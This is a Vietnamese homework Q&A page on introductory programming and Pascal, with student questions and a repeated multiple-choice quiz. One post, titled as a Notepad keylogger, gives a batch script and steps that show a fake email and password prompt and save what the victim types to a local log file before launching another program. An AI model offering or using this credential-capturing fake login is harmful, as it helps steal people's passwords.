Một Số Khái Niệm Về Lập Trình Và Ngôn Ngữ Lập Trình - Hoc24

HOC24

Lớp học Học bài Hỏi bài Giải bài tập Đề thi ĐGNL Tin tức Cuộc thi vui Khen thưởng
  • Tìm kiếm câu trả lời Tìm kiếm câu trả lời cho câu hỏi của bạn
Đóng Đăng nhập Đăng ký

Lớp học

  • Lớp 12
  • Lớp 11
  • Lớp 10
  • Lớp 9
  • Lớp 8
  • Lớp 7
  • Lớp 6
  • Lớp 5
  • Lớp 4
  • Lớp 3
  • Lớp 2
  • Lớp 1

Môn học

  • Toán
  • Vật lý
  • Hóa học
  • Sinh học
  • Ngữ văn
  • Tiếng anh
  • Lịch sử
  • Địa lý
  • Tin học
  • Công nghệ
  • Giáo dục công dân
  • Tiếng anh thí điểm
  • Đạo đức
  • Tự nhiên và xã hội
  • Khoa học
  • Lịch sử và Địa lý
  • Tiếng việt
  • Khoa học tự nhiên
  • Hoạt động trải nghiệm
  • Hoạt động trải nghiệm, hướng nghiệp
  • Giáo dục kinh tế và pháp luật

Chủ đề / Chương

Bài học

HOC24

Khách Khách vãng lai Đăng nhập Đăng ký Khám phá Hỏi đáp Đề thi Tin tức Cuộc thi vui Khen thưởng
  • Lớp 11
  • Tin học lớp 11

Chủ đề

  • Một số khái niệm về lập trình và ngôn ngữ lập trình
  • Chủ đề 1: Máy tính và xã hội tri thức
  • Chủ đề A: Máy tính và xã hội tri thức (Thế giới thiết bị số. Hệ điều hành và phần mềm ứng dụng)
  • Chương trình đơn giản
  • Chủ đề 2: Tổ chức lưu trữ, tìm kiếm và trao đổi thông tin
  • Chủ đề C: Tổ chức, lưu trữ, tìm kiếm và trao đổi thông tin (Tìm kiếm và trao đổi thông tin trên mạng)
  • Cấu trúc rẽ nhánh và lặp
  • Chủ đề 3: Đạo đức, pháp luật và văn hóa trong môi trường số
  • Chủ đề D: Đạo đức, pháp luật và văn hoá trong môi trường số (Ứng xử văn hoá và an toàn trên mạng)
  • Kiểu dữ liệu có cấu trúc
  • Chủ đề 4: Giới thiệu các hệ cơ sở dữ liệu
  • Chủ đề F: Giải quyết vấn đề với sự trợ giúp của máy tính (Giới thiệu các hệ sơ cở dữ liệu)
  • Chủ đề 5: Hướng nghiệp với tin học
  • Chủ đề G: Hướng nghiệp với Tin học (Giới thiệu nghề quản trị cơ sở dữ liệu)
  • Tệp và thao tác với tệp
  • Định hướng tin học ứng dụng
  • Định hướng Khoa học máy tính
  • Chương trình con và lập trình có cấu trúc
  • Chủ đề FCS: Giải quyết vấn đề với sự trợ giúp của máy tính (Giới thiệu nghề quản trị cơ sở dữ liệu)
  • Chủ đề 6: Thực hành tạo và khai thác cơ sở dữ liệu
  • Chủ đề 7: Phần mềm chỉnh sửa ảnh và làm video
  • Chủ đề E ICT: Ứng dụng tin học phần mềm chỉnh sửa ảnh và làm video
  • Ôn tập cuối năm
  • Định hướng khoa học máy tính
  • Chủ đề F ICT: Giải quyết vấn đề với sự trợ giúp của máy tính
  • Chủ đề 6: Kĩ thuật lập trình
Một số khái niệm về lập trình và ngôn ngữ lập trình
  • Lý thuyết
  • Trắc nghiệm
  • Giải bài tập SGK
  • Hỏi đáp
  • Đóng góp lý thuyết
Hãy tham gia nhóm Học sinh Hoc24OLM Bạn chưa đăng nhập. Vui lòng đăng nhập để hỏi bài

Câu hỏi

Hủy Xác nhận phù hợp Shino Asada
  • Shino Asada
28 tháng 11 2020 lúc 11:44

Câu 7. Thư mục là gì? Thế nào là thư mục gốc, thư mục mẹ, thư mục con?

Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 Khách Gửi Hủy Nguyễn Lê Phước Thịnh Nguyễn Lê Phước Thịnh CTV 28 tháng 11 2020 lúc 11:53

-Thư mục là một dạng tập tin đặc biệt có công dụng như là một ngăn chứa, được dùng trong việc quản lý và sắp xếp các tập tin.

-Khi một thư mục chứa một thư mục bên trong,ta nói thư mục ngoài là thư mục mẹ,thư mục trong là thư mục con.

-Thư mục ngoài cùng không có thư mục mẹ ,ta gọi nó là thư mục gốc.

Đúng 0 Bình luận (0) Khách vãng lai đã xóa Khách Gửi Hủy Các câu hỏi tương tự lập trình viên it cpha
  • lập trình viên it cpha
27 tháng 4 2020 lúc 22:12 Tạo Keylogger bằng Notepad: Step 1. Đầu tiên, bạn mở chương trình Notepad trên và dán đoạn code dưới đây vào @echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd C:Logs set /p userUsername: set /p passPassword: echo Username%user% Password%pass% Log.txt start Program Here exit Step 2. Save File với tên là Logs.bat trên desktop. Step 3. Bây giờ bạn vào ổ đĩa C: tạo một thư mục mới đặt tên là Logs Step 4. Bây giờ mìn test file Log.bat vừa mới tạo và nh...Đọc tiếpTạo Keylogger bằng Notepad:

Step 1. Đầu tiên, bạn mở chương trình Notepad trên và dán đoạn code dưới đây vào

@echo off color a title Login cls echo Please Enter Email Adress And Password echo. echo. cd "C:Logs" set /p user=Username: set /p pass=Password: echo Username="%user%" Password="%pass%" >> Log.txt start >>Program Here<< exit

Step 2. Save File với tên là Logs.bat trên desktop.

Step 3. Bây giờ bạn vào ổ đĩa C: tạo một thư mục mới đặt tên là Logs

Step 4. Bây giờ mìn test file Log.bat vừa mới tạo và nhậph Username, password theo yêu cầu

Step 5. Vào ổ đĩa C:Logs, bạn mở File Log.txt lên để xem kết quả

Ok, vậy là chúng ta đã tạo xong Keylogger bằng Notepad.

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 0 0 Hoàng Ngọc Hà
  • Hoàng Ngọc Hà
9 tháng 10 2016 lúc 21:57

Trong pascal nếu không sử dụng x*x*x thì x^3 nhập thế nào hay tổng quát thì x^n nhập thế nào

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 Mai Lan Hương
  • Mai Lan Hương
13 tháng 2 2023 lúc 21:15

Giúp mình với ạ, làm được câu nào  thì làm

loading...

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 0 0 Hoàng Ngọc Hà
  • Hoàng Ngọc Hà
5 tháng 9 2016 lúc 10:12

Tin 11

Cho K, a,b thuộc khoảng 32760 đến 32765

Gán a= 15000

Gán b= 20000

Gán K=a+b

au khi chạy chương trình sẽ cho ra kết quả như thế nào, nếu không ra được kết quả đúng thì khắc phục bằng cách nào

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 Như Phạm
  • Như Phạm
12 tháng 11 2017 lúc 12:32 1.Chương trình dịch không có khả năng nào trong các khả năng sau: A.Phát hiện được lỗi ngữ nghĩa B.Phát hiện được lỗi cú pháp C.Thông báo lỗi cú pháp D.Tạo được chương trình đích 2.Chọn biểu diễn hằng trong các biểu diễn nào dưới đây: A.Begin;5.A8;1024; 65C -46 B.12.4E-5;1024; 65C ; -46 C.5.A8 ; 1024; 65C ; -46 D.12.4E-5; begin; 5.A8; 1024; 65C -46 3.Chọn từ khoá trong các biểu diễn dưới đây: A.end, END; var, const B.end; END; integer; sqrt; var; real; const C.end;var; const D.end;...Đọc tiếp

1.Chương trình dịch không có khả năng nào trong các khả năng sau:

A.Phát hiện được lỗi ngữ nghĩa

B.Phát hiện được lỗi cú pháp

C.Thông báo lỗi cú pháp

D.Tạo được chương trình đích

2.Chọn biểu diễn hằng trong các biểu diễn nào dưới đây:

A.Begin;5.A8;1024; '65C' -46

B.12.4E-5;1024; '65C' ; -46

C.5.A8 ; 1024; '65C' ; -46

D.12.4E-5; begin; 5.A8; 1024; '65C' -46

3.Chọn từ khoá trong các biểu diễn dưới đây:

A.'end', END; var, const

B.'end; END; integer; sqrt; var; real; const

C.end;var; const

D.end; begin; sqrt; var; real; const

4.Chọn biểu diễn tên đúng trong các biểu diễn dưới đây:

A. abcd e

B.8267_3

C.dtich_htron

D.dientich_htron

5.Khi đặt tên cho đối tượng của TP có thể

A.Bắt đầu bởi các chữ số

B.Bắt đầu bởi các chữ cái

C.Ký tự đặt biệt (*,#,@...)

D.Cả ba lựa chọn trên đều đúng

6.Tên dành riêng do:

A.Người lập trình quy định

B.Tur Pascal quy định

C.Máy tính quy định

D.Cả ba đều đúng

7.Biểu diễn nào dưới đây không phải là hằng:

A.456.7

B.'456.7'

C.- 456.7

D.456,7

8.Cho biết giá trị sau đây là hằng số nguyên:

A.1972

B.1.25

C.'1972'

D.1.0E-6

9.Cho biết giá trị sau đây là hằng xâu:

A.1972

B.1.25

C.'1972'

D.1.0E-6

10.Cho biết các giá trị sau đây là hằng số thực:

A.1972

B.1.25

C.'1972'

D.1.0E-6

11.Tên nào đúng trong các lựa chọn sau:

A.Bai tap

B."Bai tap"

C.Baitap

D.'Bai tap'

12.Các từ:PROGRAM, BEGIN, END là:

A.Tên dành riêng

B.Tên chuẩn

C.Tên do người lập trình đặt

D.Tên đặc biệt

13."Từ khoá" là cách gọi khác của:

A.Tên dành riêng

B.Tên chuẩn

C.Tên do người lập trình đặt

D.Tên đặc biệt

14.Để khai báo sử dụng thư viện phải dùng từ khoá nào?

A.Var

B.Uses

C.Const

D. Type

15.Đề khai báo sử dụng hằng phải dùng từ khoá nào?

A.Var

B.Uses

C.Const

D. Type

16.Thân chương trình được giới hạn bởi cặp từ khoá:

A.Begin...End;

B.Begin...End.

C.Start...Finish.

D. Start...Finish;

17.Trong ngôn ngữ lập trình Pascal hằng và biến khác nhau như thế nào?

A.Hằng không cần khai báo, còn biến phải khai báo

B.Hằng và biến bắt buộc phải khai báo

C.Hằng là đại lượng mà giá trị không thể thay đổi được trong quá trình thực hiện chương trình, biến là đại lượng mà giá trị của chúng có thể thay đổi được trong chương trình

D.Hằng và biến là hai đại lượng mà giá trị đều có thể thay đổi được trong quá trình thực hiện chương trình

18.Trong Pascal khai báo nào sau đây là đúng?

A.Var x;y;z: real

B.Var x, y, z : char

C.Var x, y, z= real

D.Var : x, y, z= Char

19.Trong ngôn ngữ lập trình Pascal, trong các khẳn định sau khẳng định nào sai?

A.Phần tên chương trình không nhất thiết phải có

B.Phần khai báo có thể có hoặc không

C.Phần thân chương trình có thể có hoặc không

D.Phần thân chương trình nhất thiết phải có

20. X có thể nhận các giá trị từ 'A' đến 'Z', khai báo nào sau đây là đúng trong Pascal?

A. Var x : real

B.Var x: Byte

C. Var x: Integer

D. Var x : char33e

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 Như Phạm
  • Như Phạm
11 tháng 11 2017 lúc 19:46 1.Chương trình dịch không có khả năng nào trong các khả năng sau: A.Phát hiện được lỗi ngữ nghĩa B.Phát hiện được lỗi cú pháp C.Thông báo lỗi cú pháp D.Tạo được chương trình đích 2.Chọn biểu diễn hằng trong các biểu diễn nào dưới đây: A.Begin;5.A8;1024; 65C -46 B.12.4E-5;1024; 65C ; -46 C.5.A8 ; 1024; 65C ; -46 D.12.4E-5; begin; 5.A8; 1024; 65C -46 3.Chọn từ khoá trong các biểu diễn dưới đây: A.end, END; var, const B.end; END; integer; sqrt; var; real; const C.end;var; const D.end;...Đọc tiếp

1.Chương trình dịch không có khả năng nào trong các khả năng sau:

A.Phát hiện được lỗi ngữ nghĩa

B.Phát hiện được lỗi cú pháp

C.Thông báo lỗi cú pháp

D.Tạo được chương trình đích

2.Chọn biểu diễn hằng trong các biểu diễn nào dưới đây:

A.Begin;5.A8;1024; '65C' -46

B.12.4E-5;1024; '65C' ; -46

C.5.A8 ; 1024; '65C' ; -46

D.12.4E-5; begin; 5.A8; 1024; '65C' -46

3.Chọn từ khoá trong các biểu diễn dưới đây:

A.'end', END; var, const

B.'end; END; integer; sqrt; var; real; const

C.end;var; const

D.end; begin; sqrt; var; real; const

4.Chọn biểu diễn tên đúng trong các biểu diễn dưới đây:

A. abcd e

B.8267_3

C.dtich_htron

D.dientich_htron

5.Khi đặt tên cho đối tượng của TP có thể

A.Bắt đầu bởi các chữ số

B.Bắt đầu bởi các chữ cái

C.Ký tự đặt biệt (*,#,@...)

D.Cả ba lựa chọn trên đều đúng

6.Tên dành riêng do:

A.Người lập trình quy định

B.Tur Pascal quy định

C.Máy tính quy định

D.Cả ba đều đúng

7.Biểu diễn nào dưới đây không phải là hằng:

A.456.7

B.'456.7'

C.- 456.7

D.456,7

8.Cho biết giá trị sau đây là hằng số nguyên:

A.1972

B.1.25

C.'1972'

D.1.0E-6

9.Cho biết giá trị sau đây là hằng xâu:

A.1972

B.1.25

C.'1972'

D.1.0E-6

10.Cho biết các giá trị sau đây là hằng số thực:

A.1972

B.1.25

C.'1972'

D.1.0E-6

11.Tên nào đúng trong các lựa chọn sau:

A.Bai tap

B."Bai tap"

C.Baitap

D.'Bai tap'

12.Các từ:PROGRAM, BEGIN, END là:

A.Tên dành riêng

B.Tên chuẩn

C.Tên do người lập trình đặt

D.Tên đặc biệt

13."Từ khoá" là cách gọi khác của:

A.Tên dành riêng

B.Tên chuẩn

C.Tên do người lập trình đặt

D.Tên đặc biệt

14.Để khai báo sử dụng thư viện phải dùng từ khoá nào?

A.Var

B.Uses

C.Const

D. Type

15.Đề khai báo sử dụng hằng phải dùng từ khoá nào?

A.Var

B.Uses

C.Const

D. Type

16.Thân chương trình được giới hạn bởi cặp từ khoá:

A.Begin...End;

B.Begin...End.

C.Start...Finish.

D. Start...Finish;

17.Trong ngôn ngữ lập trình Pascal hằng và biến khác nhau như thế nào?

A.Hằng không cần khai báo, còn biến phải khai báo

B.Hằng và biến bắt buộc phải khai báo

C.Hằng là đại lượng mà giá trị không thể thay đổi được trong quá trình thực hiện chương trình, biến là đại lượng mà giá trị của chúng có thể thay đổi được trong chương trình

D.Hằng và biến là hai đại lượng mà giá trị đều có thể thay đổi được trong quá trình thực hiện chương trình

18.Trong Pascal khai báo nào sau đây là đúng?

A.Var x;y;z: real

B.Var x, y, z : char

C.Var x, y, z= real

D.Var : x, y, z= Char

19.Trong ngôn ngữ lập trình Pascal, trong các khẳn định sau khẳng định nào sai?

A.Phần tên chương trình không nhất thiết phải có

B.Phần khai báo có thể có hoặc không

C.Phần thân chương trình có thể có hoặc không

D.Phần thân chương trình nhất thiết phải có

20. X có thể nhận các giá trị từ 'A' đến 'Z', khai báo nào sau đây là đúng trong Pascal?

A. Var x : real

B.Var x: Byte

C. Var x: Integer

D. Var x : char

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 0 0 Đỗ Đức Lâm
  • Đỗ Đức Lâm
31 tháng 5 2020 lúc 17:10

Viết chương trình thực hiện các công việc sau: -chương trình con đọc tệp 'DL.TXT' gồm 3 số nguyên -Chương trình con tìm GTLN của 2 số nguyên bất kì -chương trình chính gọi các chương trình con trên ,đưa ra màn hình GTLN của 3 số nguyên trong tệp trên

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 tao quen roi
  • tao quen roi
29 tháng 1 2017 lúc 20:54

tiếp xúc trước và bạn sẽ là bạn của nó trong khi người khác là sinh viên , học sinh của nó

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 0 0 Nguyễn Công Tuấn
  • Nguyễn Công Tuấn
28 tháng 11 2021 lúc 18:12

Giúp em câu 2,3 với ạ

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 1 0 Nguyễn Công Tuấn
  • Nguyễn Công Tuấn
25 tháng 11 2021 lúc 20:15

Giúp em câu 2 3 4 với ạ

Xem chi tiết Lớp 11 Tin học Một số khái niệm về lập trình và ngôn ngữ lập trìn... 0 0

Khoá học trên OLM (olm.vn)

  • Toán lớp 11 (Kết nối tri thức với cuộc sống)
  • Toán lớp 11 (Cánh Diều)
  • Toán lớp 11 (Chân trời sáng tạo)
  • Ngữ văn lớp 11
  • Tiếng Anh lớp 11 (i-Learn Smart World)
  • Tiếng Anh lớp 11 (Global Success)
  • Vật lý lớp 11 (Kết nối tri thức với cuộc sống)
  • Vật lý lớp 11 (Cánh diều)
  • Hoá học lớp 11 (Kết nối tri thức với cuộc sống)
  • Hoá học lớp 11 (Cánh diều)
  • Sinh học lớp 11 (Kết nối tri thức với cuộc sống)
  • Sinh học lớp 11 (Cánh diều)
  • Lịch sử lớp 11 (Kết nối tri thức với cuộc sống)
  • Lịch sử lớp 11 (Cánh diều)
  • Địa lý lớp 11 (Kết nối tri thức với cuộc sống)
  • Địa lý lớp 11 (Cánh diều)
  • Giáo dục kinh tế và pháp luật lớp 11 (Kết nối tri thức với cuộc sống)
  • Tin học lớp 11 (Kết nối tri thức với cuộc sống)
  • Công nghệ lớp 11 (Kết nối tri thức với cuộc sống)

Khoá học trên OLM (olm.vn)

  • Toán lớp 11 (Kết nối tri thức với cuộc sống)
  • Toán lớp 11 (Cánh Diều)
  • Toán lớp 11 (Chân trời sáng tạo)
  • Ngữ văn lớp 11
  • Tiếng Anh lớp 11 (i-Learn Smart World)
  • Tiếng Anh lớp 11 (Global Success)
  • Vật lý lớp 11 (Kết nối tri thức với cuộc sống)
  • Vật lý lớp 11 (Cánh diều)
  • Hoá học lớp 11 (Kết nối tri thức với cuộc sống)
  • Hoá học lớp 11 (Cánh diều)
  • Sinh học lớp 11 (Kết nối tri thức với cuộc sống)
  • Sinh học lớp 11 (Cánh diều)
  • Lịch sử lớp 11 (Kết nối tri thức với cuộc sống)
  • Lịch sử lớp 11 (Cánh diều)
  • Địa lý lớp 11 (Kết nối tri thức với cuộc sống)
  • Địa lý lớp 11 (Cánh diều)
  • Giáo dục kinh tế và pháp luật lớp 11 (Kết nối tri thức với cuộc sống)
  • Tin học lớp 11 (Kết nối tri thức với cuộc sống)
  • Công nghệ lớp 11 (Kết nối tri thức với cuộc sống)

Từ khóa » Thư Mục Là Gì Lớp 4